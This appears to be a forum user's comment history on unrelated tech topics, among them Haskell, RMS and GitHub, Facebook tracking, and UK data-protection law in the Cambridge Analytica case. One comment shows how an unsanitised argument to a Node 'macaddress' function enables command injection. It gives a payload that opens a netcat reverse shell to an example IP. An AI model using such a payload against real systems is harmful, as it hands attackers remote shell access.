parenthephobia

It's impossible to pass around functions without arguments in Haskell, because there are no functions without arguments in Haskell. It looks like the same is true of Gluon. (So you don't really pass around the function name: you pass around the variable which contains the result of evaluating the expression.)

In languages where there can be functions with no arguments, if referring to the function without parentheses calls it, it can be inconvenient to get a reference to the function itself.

Anything which passes "iface" through without sanitising it.

The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.

e.g.

    macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})

Context is king. In this thread, RMS criticises Github as a place for hosting GNU projects.

RMS, who leads the FSF, which owns GNU, thinks that GNU projects should not be hosted on services which encourage users to run proprietary software on their PC, or which don't encourage users to use the FSF's preferred license.

To me, this stance does not seem at all nonsensical.

His actual point, in context, was that GNUstep shouldn't be hosted on GitHub because in doing so the GNU project is effectively inviting users to run GitHub's non-free software on their computer.

> they will target you through payment processors and ad networks

How will they do that, and on what legal basis?

> If you are under attack

If. Much, if not most, server software is written under the implicit assumption that it will not be under attack.

Whilst "what a VC-funded startup should be burning money on" is something that the investors should have input on, I don't think random people on the Internet get to be the gatekeepers for what a company is allowed to do with their investors' money.

oddjob isn't part of systemd and doesn't use systemd.

> It's OK to make mistakes.

A sentiment that is harder to sell if people erase all evidence of their mistakes.

> it seems most developer prefer to build complex systems using simple languages, rather than build simple systems using complex languages

According to TIOBE, 1% of programmers are using Go, whilst 23% are using Java or C++.

If that is to be believed, developers do not appear to prefer simple languages. Or, Java and C++ are simple languages. Or, language selection is not based on preference.

If we must make this comparison, most actual companies are totalitarian dictatorships.

> We can all opt out of Facebook.

Can we? What is the practical effect of doing so? Will they stop tracking us on the web? Will they stop gathering data about us via people with whom we are associated?

Facebook is a crowd-sourced global surveillance program from which there is no real opt-out and over which there are no checks and balances because most of the people running it don't even think they're running a surveillance program.

> something that's been working fine since the 1980s has recently been declared broken

Void Linux uses runit, which was released in 2004, so I guess they agree.

None, intrinsically.

But, receiving, storing, and/or processing personal data without consent is, in most situations, likely to be against the the Privacy and Electronic Communication Regulations and the Data Protection Act. Additionally, information about political affiliation.

The key point in this case is that CA didn't have consent. CA don't dispute this, but say that they believed at the time that they did. It is a defence to show that you "exercised all due diligence" in complying.

ICO will be looking for not only evidence of the actual use of personal data, but also evidence regarding whether and to what extent CA were knowingly or recklessly non-compliant.